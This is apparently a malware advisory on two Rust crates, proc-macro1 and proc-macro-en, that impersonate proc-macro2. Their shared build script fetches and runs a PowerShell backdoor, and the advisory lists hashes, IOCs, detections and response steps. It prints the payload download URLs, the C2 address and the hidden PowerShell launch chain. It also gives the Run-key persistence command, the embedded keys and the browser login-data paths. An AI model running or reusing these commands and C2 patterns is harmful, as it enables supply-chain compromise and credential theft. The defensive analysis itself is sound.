Two malicious Rust crates—proc-macro1 version 1.0.107 and proc-macro-en version 1.0.10—impersonate the naming, source, authorship, and metadata of the legitimate proc-macro2 ecosystem.
Both contain the same malicious build.rs, byte for byte. Building either crate directly or as a transitive dependency downloads and launches a platform-specific payload. Commands that may trigger execution include cargo build, cargo check, and cargo test.
The build script:
- Reconstructs an obfuscated URL from Base64 fragments.
- Creates a TLS client that accepts any certificate.
- Downloads a payload selected by OS and architecture.
- Writes it into temporary storage.
- Executes it silently or detached.
- Passes
23.254.165.112:443as the initial C2.
The Windows payload was analyzed statically. It is a PowerShell backdoor with host profiling, browser-account discovery, persistence, DGA fallback infrastructure, and arbitrary remote PowerShell execution. The Linux and macOS payloads were identified and hashed but were not analyzed. No payload was executed during analysis.
| Package | Version | Claimed repository | Crate archive SHA-256 |
|---|---|---|---|
proc-macro1 |
1.0.107 |
https://github.com/dtolnay/proc-macro1 |
61198155da51b838772eecf5bfaac6cbc4dcc388dccc56658fc28a8e831b34d4 |
proc-macro-en |
1.0.10 |
https://github.com/dtolnay/proc-macro-en |
8ed7d2d62d283a7701213e7a07191ebf5ab4d4862a0272b6ecda1209f6e0b93a |
Both packages imitate proc-macro2 while using subtly different names. They claim David Tolnay as their author and point to repository paths under his GitHub account that match the malicious package names.
Additional cloning evidence exists in proc-macro-en: its manifest declares version 1.0.10, while src/lib.rs retains an html_root_url containing version 1.0.107.
The two packages contain byte-identical copies of build.rs:
cb7778eb6dda91028abf087eb7c3553f981a67e756769507d348e8c201805568 build.rs
cb7778eb6dda91028abf087eb7c3553f981a67e756769507d348e8c201805568 build.rs
e38d1e2129288da7294025f379ae533eb2d217450720a699d92eeec2b492a6f7 Cargo.toml
5ae990533efd38b1d89d49613d441514809df6c214881dc2f877c538495507a2 Cargo.toml.orig
b7ec23d274c33b8b523723b0333d09a75557a1474ac76e740884afcbe9f5dca5 Cargo.lock
cb7778eb6dda91028abf087eb7c3553f981a67e756769507d348e8c201805568 build.rs
01b3cce302b6630387790e2baeb639d6d3420c076891485decb860aac22023d9 Cargo.toml
e38d1288a7e3e311cfc98d8276766596485ef370a4298b83ef9fb40a9a4e3ad9 Cargo.toml.orig
f46f9dabdb763a0af094fb6ad8da03c32ea8a4df1d9e6e83c36ecc9dc1aa2b37 Cargo.lock
00eddad881d66d9592f2b180cf495fb2c70a7e19686cbcd10b85889082a72198 README.md
7047457f5bd18cccd3758405cfb5008da3a83ca5aac3938aafbfda88f6a41472 src/lib.rs
23.254.165.112
23.254.165.112:443
23.254.165.112:9089
| Target | Download URL | SHA-256 |
|---|---|---|
| Linux x86-64 | https://23.254.165.112:9089/rust-crate_0.1.0 |
408ef22050ffc5a67e005802809026b29f297a8019f8fda91a2afa8e877ba434 |
| Windows x86-64 | https://23.254.165.112:9089/rust-crate_0.2.0 |
492f2ab86f8d8911adc79c10ec1541704f5311d207d9d799b0d2a57fcc6a4391 |
| macOS x86-64 | https://23.254.165.112:9089/rust-crate_0.3.0 |
c9561a3b00a0fa38b7772675d987f84bd429c55cd024fc08a98245c2d1632848 |
| macOS ARM64 | https://23.254.165.112:9089/rust-crate_0.4.0 |
74d3447e7cf99c99ea01a16332ec27432dfb0f491e10e67cd118065a60483306 |
Additional hashes for the analyzed Windows payload:
SHA256: 492f2ab86f8d8911adc79c10ec1541704f5311d207d9d799b0d2a57fcc6a4391
SHA1: fc0fdb978eac72f4484b48db058e4473f1bc516e
MD5: 0ea14afc05408181cf65195a6eeede04
Size: 35,578 bytes
Type: PowerShell 5.1+ script
/tmp/rust-setup
chmod +x /tmp/rust-setup
/tmp/rust-setup 23.254.165.112:443
Standard input, output, and error are redirected to null.
%TEMP%\rust-setup.ps1
%TEMP%\rust-setup-launch.vbs
Process chain:
wscript.exe //B //Nologo "%TEMP%\rust-setup-launch.vbs"
powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass \
-WindowStyle Hidden -File "%TEMP%\rust-setup.ps1" \
"23.254.165.112:443"
The launcher uses CREATE_NO_WINDOW and WScript.Shell to run invisibly and escape Cargo's job object.
https://23.254.165.112:443/49890878
https://<primary-or-DGA-host>:443/49890878
The implant sends Base64-encoded JSON in HTTPS POST bodies. TLS certificate validation is disabled.
| Message type | Purpose |
|---|---|
start |
Sends initial host and browser inventory |
check |
Polls for commands |
cmd |
Returns command status and output |
- Random 16-character bot identifier
- Username and hostname
- Windows version and processor architecture
- PowerShell version
- Administrator status
- Installed applications
- Chromium extension IDs
- Browser login domains
- Browser usernames and email addresses
%LOCALAPPDATA%\Google\Chrome\User Data
%LOCALAPPDATA%\BraveSoftware\Brave-Browser\User Data
%LOCALAPPDATA%\Microsoft\Edge\User Data
The implant selects Default and Profile <number> profiles and accesses:
<profile>\Login Data
<profile>\Local Extension Settings\
It queries the origin_url and username_value columns from Chromium's logins table. The analyzed stage does not directly extract password_value, although follow-on scripts can add unrestricted capabilities.
https://sqlite.org/2026/sqlite-tools-win-x64-3530400.zip
Temporary artifacts:
%TEMP%\sqlite_<GUID>\
%TEMP%\sqlite_<GUID>\sqlite-tools.zip
%TEMP%\sqlite_<GUID>\...\sqlite3.exe
%TEMP%\login_<GUID>\
%TEMP%\login_<GUID>\Login Data
This SQLite URL appears legitimate but can provide useful corroborating telemetry when observed shortly after execution of either malicious crate.
The C2 supplies a double-Base64-encoded startup parameter that controls the destination folder and filename.
%APPDATA%\<operator-controlled folder>\<name>.ps1
%APPDATA%\<operator-controlled folder>\<name>.ps1.cfg
Registry key:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
Registry value data:
powershell -ep bypass -w h -File "<payload path>"
The adjacent .cfg file contains AES-128-GCM-encrypted, Base64-encoded JSON:
{
"UID": "<16-character identifier>",
"PrimaryUrl": "<host:port>",
"Cycle": 1
}Hard-coded cryptographic strings:
i am botking
test
i am botking protects the main configuration. test decrypts minicfg parameters. Both strings are converted to 16-byte AES keys through null padding.
The implant also embeds a complete RSA private key and uses RSA-OAEP-SHA256 while processing commands. Because the private key is distributed with every implant, it should not be treated as secret authentication material.
| Command | Capability |
|---|---|
minicfg |
Changes the primary C2 and polling interval |
startup |
Relocates the implant and establishes HKCU Run-key persistence |
runscript / Shell |
Downloads PowerShell, executes it synchronously, and returns output |
runscript / ShellX |
Downloads PowerShell, executes it in the background, and returns its PID |
kill |
Stops the implant without removing files or persistence |
Follow-on PowerShell is written as:
%TEMP%\ps-<GUID>.ps1
Execution pattern:
powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass \
-File "%TEMP%\ps-<GUID>.ps1" \
"<param>" "<self_path>" "<uid>" "<primary_url>"
The same context is placed in the SCRIPT_ARGS environment variable.
The implant uses xorshift32 to generate ten fallback .com domains every five days. Each hostname consists of ten alphabetic characters and is contacted on port 443 using /49890878.
Domains generated for August 20–24, 2026 UTC:
rasGThauFD.com:443
feVVKIiEiU.com:443
phrpjTNckF.com:443
PrOkXLgfjW.com:443
ackeoTaWtl.com:443
GAFWVCMAja.com:443
RNSsddnEgK.com:443
pfHlVOqEeg.com:443
aBEcOrkups.com:443
epOdIaTMaM.com:443
These are algorithmically generated indicators and are not necessarily registered or active.
/tmp/rust-setup
%TEMP%\rust-setup.ps1
%TEMP%\rust-setup.ps1.cfg
%TEMP%\rust-setup-launch.vbs
%TEMP%\ps-<GUID>.ps1
%TEMP%\sqlite_<GUID>\
%TEMP%\sqlite_<GUID>\sqlite-tools.zip
%TEMP%\login_<GUID>\
%TEMP%\login_<GUID>\Login Data
%APPDATA%\<operator-controlled folder>\<name>.ps1
%APPDATA%\<operator-controlled folder>\<name>.ps1.cfg
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
High-confidence combinations include:
- Cargo or a Rust compiler process creating
/tmp/rust-setup. - Cargo spawning
chmod, followed by/tmp/rust-setup. - Cargo or a build script writing
%TEMP%\rust-setup.ps1. - Cargo spawning
wscript.exe. wscript.exespawning hidden PowerShell withExecutionPolicy Bypass.- Connections to
23.254.165.112on TCP 9089 or 443. - HTTPS POST requests to
/49890878. - PowerShell reading Chromium
Login Dataacross Chrome, Brave, or Edge. - PowerShell downloading SQLite tools immediately before copying browser databases.
- HKCU Run values invoking hidden PowerShell scripts under
%APPDATA%. - PowerShell creating
%TEMP%\ps-<GUID>.ps1and launching another PowerShell instance. - DNS lookups for multiple ten-letter
.comdomains followed by POSTs to/49890878.
If either crate was built, treat the affected developer workstation or CI worker as compromised:
- Isolate the affected system.
- Block
23.254.165.112on TCP 443 and 9089. - Block or monitor known DGA domains.
- Preserve
rust-setup*,.cfg, VBS, and temporaryps-*.ps1artifacts. - Collect process trees rooted in Cargo,
wscript.exe, and PowerShell. - Review PowerShell Script Block Logging, Module Logging, AMSI, DNS, proxy, firewall, and TLS telemetry.
- Inspect
HKCU\Software\Microsoft\Windows\CurrentVersion\Run. - Hunt
%APPDATA%for recently created PowerShell scripts with adjacent.cfgfiles. - Hunt projects and Cargo caches for
proc-macro1v1.0.107 andproc-macro-env1.0.10. - Review affected CI workers and downstream build artifacts.
- Rotate credentials and browser sessions if follow-on activity is found.
- Rebuild affected systems from trusted images where appropriate.
Because the implant can execute arbitrary second-stage PowerShell, the observed first-stage feature set should not be treated as the limit of compromise.
missed IOCs
23.254.167.13
23.254.167.216
these two IPs are linked to MASTRA Campaign